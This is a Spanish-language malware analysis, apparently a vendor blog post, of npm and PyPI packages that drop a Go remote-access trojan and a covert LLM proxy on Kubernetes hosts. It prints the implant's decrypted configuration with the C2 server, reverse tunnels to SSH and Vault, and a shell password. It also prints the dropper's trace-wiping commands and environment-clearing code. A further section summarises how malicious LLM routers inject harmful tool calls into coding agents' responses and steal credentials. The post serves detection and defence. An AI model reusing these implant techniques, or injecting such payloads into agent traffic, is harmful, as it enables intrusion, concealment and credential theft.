Recientemente hemos detectado dos paquetes maliciosos en npm (kube-health-tools) y PyPI (kube-node-health) que parecen estar diseñados para atacar entornos de Kubernetes. A primera vista, ambos paquetes parecen inofensivos, ya que utilizan nombres que hacen referencia a Kubernetes para parecer legítimos. Sin embargo, en realidad instalan de forma silenciosa un servicio completo de proxy de LLM en el equipo de la víctima, lo que permite al atacante desviar el tráfico de LLM a través del servidor comprometido, como si se tratara de un nodo de retransmisión más dentro de una plataforma comercial de reventa de IA.
Fase 1: Los que abandonan
Ambos paquetes envían un binario nativo compilado como carga útil.
Los dos archivos de la fase 1 son:
__init___cpython-311-x86_64-linux-gnu.so(Paquete PyPI)addon.node(paquete de npm)
Ambos son binarios nativos que se ejecutan al importarlos o al require(). El .por lo tanto es una extensión de Python compilada con Cython; la .node es un complemento nativo de Node.js. Ambos descargan un binario de fase 2 de GitHub. La URL codificada en el dropper de PyPI apunta a:
https://github[.]com/gibunxi4201/kube-node-diag/releases/download/v2[.]0/kube-diag-linux-amd64-packedEl dropper de npm descarga una versión más completa de la misma versión:
https://github[.]com/gibunxi4201/kube-node-diag/releases/download/v2[.]0/kube-diag-full-linux-amd64-packedAmbos archivos binarios se guardan en /tmp/.kh, marcado como ejecutable y ejecutado de inmediato.
Ambos programas maliciosos también incorporan fragmentos de configuración cifrados con XOR que se transfieren directamente al binario de la fase 2 en el momento de su ejecución. El binario de la fase 2 lee la configuración desde la entrada estándar, la descifra y la utiliza como configuración de ejecución:
{
"server": "https://sync[.]geeker[.]indevs[.]in",
"auth": "skywork:e5c2b988f369d9e51f30985eb8c1c5ae",
"tunnels": [
"R:4444:127.0.0.1:0",
"R:4446:127.0.0.1:22",
"R:4445:127.0.0.1:8200"
],
"shell": {
"enabled": true,
"password": "123qweASD",
"auth_keys": []
},
"disguise": {
"process_name": "node-health-check",
"argv": "--mode=daemon"
},
"keepalive": "25s",
"max_retry_interval": "30s",
"headers": {
"User-Agent": "Mozilla/5.0"
},
"tls_skip_verify": true
}La configuración revela varios detalles sobre el funcionamiento. El servidor de mando y control (C2) es sync[.]geeker[.]indevs[.]in, autenticado con una credencial predefinida (skywork:e5c2b988f369d9e51f30985eb8c1c5ae). El bloque de camuflaje indica al implante que haga pasar su proceso por node-health-check --mode=daemon, mezclándose con las herramientas legítimas en una lista de procesos.
Los tres túneles inversos de la configuración asignan cada uno un puerto del servidor C2 del atacante a un servicio local en el equipo de la víctima:
- Puerto 4444 rutas hacia
127.0.0.1:0(el apoderado de LLM) - Puerto 4446 rutas hacia
127.0.0.1:22(el servidor SSH de la víctima) - Puerto 4445 rutas hacia
127.0.0.1:8200(El puerto predeterminado de HashiCorp Vault, un almacén de secretos muy utilizado en entornos de Kubernetes)
La variante de npm también incluye un mecanismo de reserva de ngrok, que va alternando entre un conjunto de cuentas de ngrok proporcionadas por el servidor C2, exponiendo el servidor de la víctima a través de un punto de acceso público.
Tras ejecutar el binario de la fase 2, el script dropper borra de forma activa cualquier rastro de su propia ejecución. Elimina el binario descargado de /tmp/.kh, elimina un segundo archivo temporal en /tmp/.ns, y luego, sobre todo, elimina de forma recursiva todo el kube-health-tools directorio del paquete desde node_modules:
sleep 2
rm -f $P $S
find / -type d -name "kube-health-tools" -ruta "*/node_modules/*" -ejecutar rm -rf {} + 2>/dev/nullA los dos segundos de iniciarse el binario de la etapa 2, todos los rastros de la instalación han desaparecido. Un análisis forense posterior al incidente de node_modules no encontrará nada.
Fase 2: troyano de acceso remoto
El binario de la etapa 2 es un binario de Go compilado que integra varias funciones en un único ejecutable. Se conecta a sync[.]geeker[.]indevs[.]in a través de WebSocket, establece una sesión SSH y utiliza un Excavación de túneles con cincel protocolo para registrar los túneles definidos en la configuración.
El implante implementa Chisel Tunneling a través de WebSocket:
- Proxy SOCKS5: El binario puede poner en funcionamiento un proxy SOCKS5 completo, lo que permite al atacante enrutar tráfico TCP arbitrario a través de la red de la víctima.
- Shell inverso: Configurado con la contraseña (
123qweASD) que se encuentra en el bloque de configuración del dropper, lo que proporciona un terminal interactivo completo. - Servidor SFTP: incluye un servidor SFTP completo, lo que proporciona al atacante acceso total de lectura y escritura al sistema de archivos.
- LLM proxy: una pasarela API compatible con OpenAI que acepta solicitudes y las redirige hacia los servidores superiores a través de routers proporcionados por el atacante.
El archivo binario se encarga de ocultarse tras su ejecución. Cambia el nombre de su proceso a comprobación del estado del nodo con el argumento --modo=demonio, lo que hace que se confunda con las herramientas legítimas en un listado de procesos. Además, borra todas las variables de entorno relevantes inmediatamente al iniciarse:
func ClearEnv() {
for _, name := range []string{"NHC_CFG", "KH_CFG", "NHC_KEY", "NHC_KEY_FILE"} {
os.Unsetenv(name)
}
const aesKey = "s0m3R4nd0mK3y2026xYz"
for _, kv := range os.Environ() {
parts := strings.SplitN(kv, "=", 2)
if len(parts) == 2 && strings.Contains(parts[1], aesKey) {
os.Unsetenv(parts[0])
}
}
}
Esto garantiza que, si un KH_CFG o NHC_CFG Si se ha definido la variable «operator-override», esta desaparece del entorno antes de que cualquier comprobación pueda detectarla.
El proxy LLM
El implante incluye un proxy LLM totalmente funcional y compatible con OpenAI integrado directamente en el binario de la fase 2. Parece tratarse de una pasarela de API que acepta solicitudes y las redirige a las API de nivel superior, incluidos enrutadores LLM chinos como shubiaobiao.
El proxy expone cuatro rutas de entrada, a las que se puede acceder a través del túnel:
GET /health→ 200 OKGET /v1/modelos→ Mostrar todos los modelos configuradosPOST /v1/chat/completions→ ruta hacia el origenPOST /v1/completions→ ruta hacia el origen
Cuando llega una solicitud /v1/chat/sugerencias, el proxy:
- Lee el
modelocampo del cuerpo de la solicitud - Busca el nombre del modelo en una tabla de enrutamiento proporcionada por el C2
- Selecciona una clave API de
normalokey_ultrapool, dependiendo de la configuracióntipo_de_clavecampo - Reescribe la solicitud con el host de origen, la ruta y el token de autenticación «bearer».
- Reenvía la solicitud y transmite la respuesta
A partir de las cadenas de ruta ascendentes encontradas en el binario, la tabla de enrutamiento asigna los nombres de los modelos a rutas como estas:
https://<url_from_c2>/gpt-proxy/shubiaobiao/chat/completions
https://<url_from_c2>/gpt-proxy/cloudsway/chat/completions
https://<url_from_c2>/gpt-proxy/aliyun/chat/completions
https://<url_from_c2>/gpt-proxy/volengine/chat/completions
https://<url_from_c2>/gpt-proxy/aws/claude/chat/completions
https://<url_from_c2>/gpt-proxy/azure/chat/completions
https://<url_from_c2>/gpt-proxy/google/claude/chat/completions
https://<url_from_c2>/gpt-proxy/xmind/claude/chat/completions
https://<url_from_c2>/gpt-proxy/kuanbang/chat/completions
https://<url_from_c2>/gpt-proxy/deepseek/reasoner
https://<url_from_c2>/gpt-proxy/router/chat/completionsEl /gpt-proxy/ El prefijo de ruta, junto con nombres de proveedores como shubiaobiao, cloudsway y volengine, apunta a agregadores intermediarios en lugar de a las API oficiales de los proveedores. Ninguno de los dos api.openai.com ni api.anthropic.com aparecer en cualquier parte del archivo binario.
El archivo binario contiene 109 cadenas de texto con nombres de modelos codificados de forma fija que se utilizan para generar la respuesta /v1/models. Abarcan los principales proveedores de modelos de IA, incluidos los modelos de Anthropic (claude-opus-4.6, claude-sonnet-4.6-pensamiento), OpenAI (gpt-5.4, gpt-5.3-codex), Google (gemini-3.1-pro-vista previa, gemini-2.5-flash), ByteDance VolcEngine (doubao-seed-1.8-pro-251215, doubao_2050_write_agent_v7), y Alibaba (qwen3-235b-a22b-instrucciones-2507).
El ecosistema de servidores proxy chinos
El uso de servidores proxy en equipos comprometidos es una práctica habitual en el panorama de amenazas chino, impulsada en parte por las restricciones impuestas por el Gran Cortafuegos. Anteriormente, AhnLab se ha descubierto que los atacantes utilizan herramientas como TinyProxy y Sing-box en servidores honeypot vulnerables para ejecutar servicios de proxy de forma encubierta. De hecho, la cuenta de GitHub gibunxi4201, que aloja la carga útil de la fase 2, parece tener otros proyectos relacionados con proxies en su historial de versiones, lo que concuerda con un operador dedicado principalmente a la infraestructura de proxies.
Estas herramientas de proxy suelen instalarse en servidores vulnerables para obtener direcciones IP de proxy gratuitas, pero también en servicios gratuitos como HuggingFace, Databricks y Streamlit para navegar por Internet sin las restricciones del Gran Cortafuegos. El patrón es siempre el mismo: encontrar un recurso barato o comprometido y convertirlo en un servidor proxy gratuito.
Los desarrolladores chinos a menudo no pueden acceder a los modelos de IA debido a los bloqueos regionales. Esto ha dado lugar a un floreciente mercado paralelo para el acceso a las API de los modelos de lenguaje grande (LLM). Plataformas chinas como Xianyu, Goofish y Taobao están repletas de anuncios de vendedores que ofrecen acceso a ChatGPT, Claude y Gemini por una fracción del precio oficial a través de puntos de conexión de routers (como los que se encuentran en este malware). Incluso hay vendedores que ofrecen cursos sobre cómo monetizar la gestión de tus propios routers de LLM.
Enrutadores LLM maliciosos
Más allá de ofrecer un acceso económico a la IA, los enrutadores LLM como el que se ha implementado aquí se sitúan en un límite de confianza que puede ser fácilmente objeto de abuso. Dado que todas las solicitudes pasan por el enrutador en texto sin cifrar, un operador malintencionado puede, tal y como documentan Hanzhi Liu et al.:
- Inserta llamadas a herramientas maliciosas en las respuestas de los agentes de codificación antes de que lleguen al cliente, introduciendo código malicioso
pip installocurl | bashcargas útiles en pleno vuelo - Extraer de forma silenciosa información confidencial de los cuerpos de las solicitudes y respuestas, incluyendo claves de API, credenciales de AWS, tokens de GitHub, claves privadas de Ethereum y mensajes del sistema
Los investigadores descubrieron que, en un conjunto de 428 routers comerciales, 9 estaban inyectando activamente código malicioso en las respuestas a las llamadas de las herramientas, y se constató que 17 accedían a las credenciales de los servidores canario de AWS propiedad de los investigadores tras observarlas en tránsito.
Aunque no hemos encontrado indicios de inyección ni de exfiltración en este implante concreto, cualquier desarrollador cuyas herramientas de programación de IA pasen por un equipo comprometido está, en la práctica, haciendo pasar toda su ventana de contexto a través de un relé controlado por un atacante.
Cómo Aikido lo detecta
Si es usuario de Aikido, revise su feed central y filtre por problemas de malware. Esto aparecerá como un problema crítico de 100/100. Aikido realiza reescaneos cada noche, pero recomendamos activar un reescaneo manual ahora.
Si aún no es usuario de Aikido, puede crear una cuenta y conectar sus repositorios. Nuestra cobertura de malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.
Para una cobertura más amplia en todo su equipo, el Endpoint Protection de Aikido le proporciona visibilidad y control sobre los paquetes de software instalados en los dispositivos de su equipo. Cubre extensiones de navegador, librerías de código, plugins de IDE y dependencias de compilación, todo en un solo lugar. Detenga el malware antes de que se instale.
Para protegerte en el futuro, te recomendamos Aikido Safe Chain (de código abierto). Safe Chain se integra en tu flujo de trabajo actual, interceptando los comandos npm, npx, yarn, pnpm y pnpx, y comprobando los paquetes con Aikido Intel antes de instalarlos.
IOCs
Paquetes maliciosos
- PyPI:
kube-node-health - npm:
kube-health-tools
Hash de archivos
__init___cpython-311-x86_64-linux-gnu.so(Fase 1 de PyPI)- SHA256:
b3405b8456f4e82f192cdff6fdd5b290a58fafda01fbc08174105b922bd7b3cf
- SHA256:
addon.node(npm, fase 1)- SHA256:
5d58ce3119c37f2bd552f4d883a4f4896dfcb8fb04875f844f999497e4ca846d
- SHA256:
kube-diag-linux-amd64-comprimido(variante PyPI de la fase 2)- SHA256:
fb3ae78d09c119ec335c3b99a95c97d9bb6f92fd2c7c9b0d3e875347e2f25bb2
- SHA256:
kube-diag-full-linux-amd64-comprimido(variante de npm de la fase 2)- SHA256:
3a3d8f8636fa1db21871005a49ecd7fa59688fa763622fa737ce6b899558b300
- SHA256:
Indicadores de red
- Servidor C2:
sync[.]geeker[.]indevs[.]in - Descarga de la fase 2:
github[.]com/gibunxi4201/kube-node-diag
Indicadores de proceso
- Nombre del proceso:
comprobación del estado del nodo - Rutas de descarga temporales:
/tmp/.khy/tmp/.ns
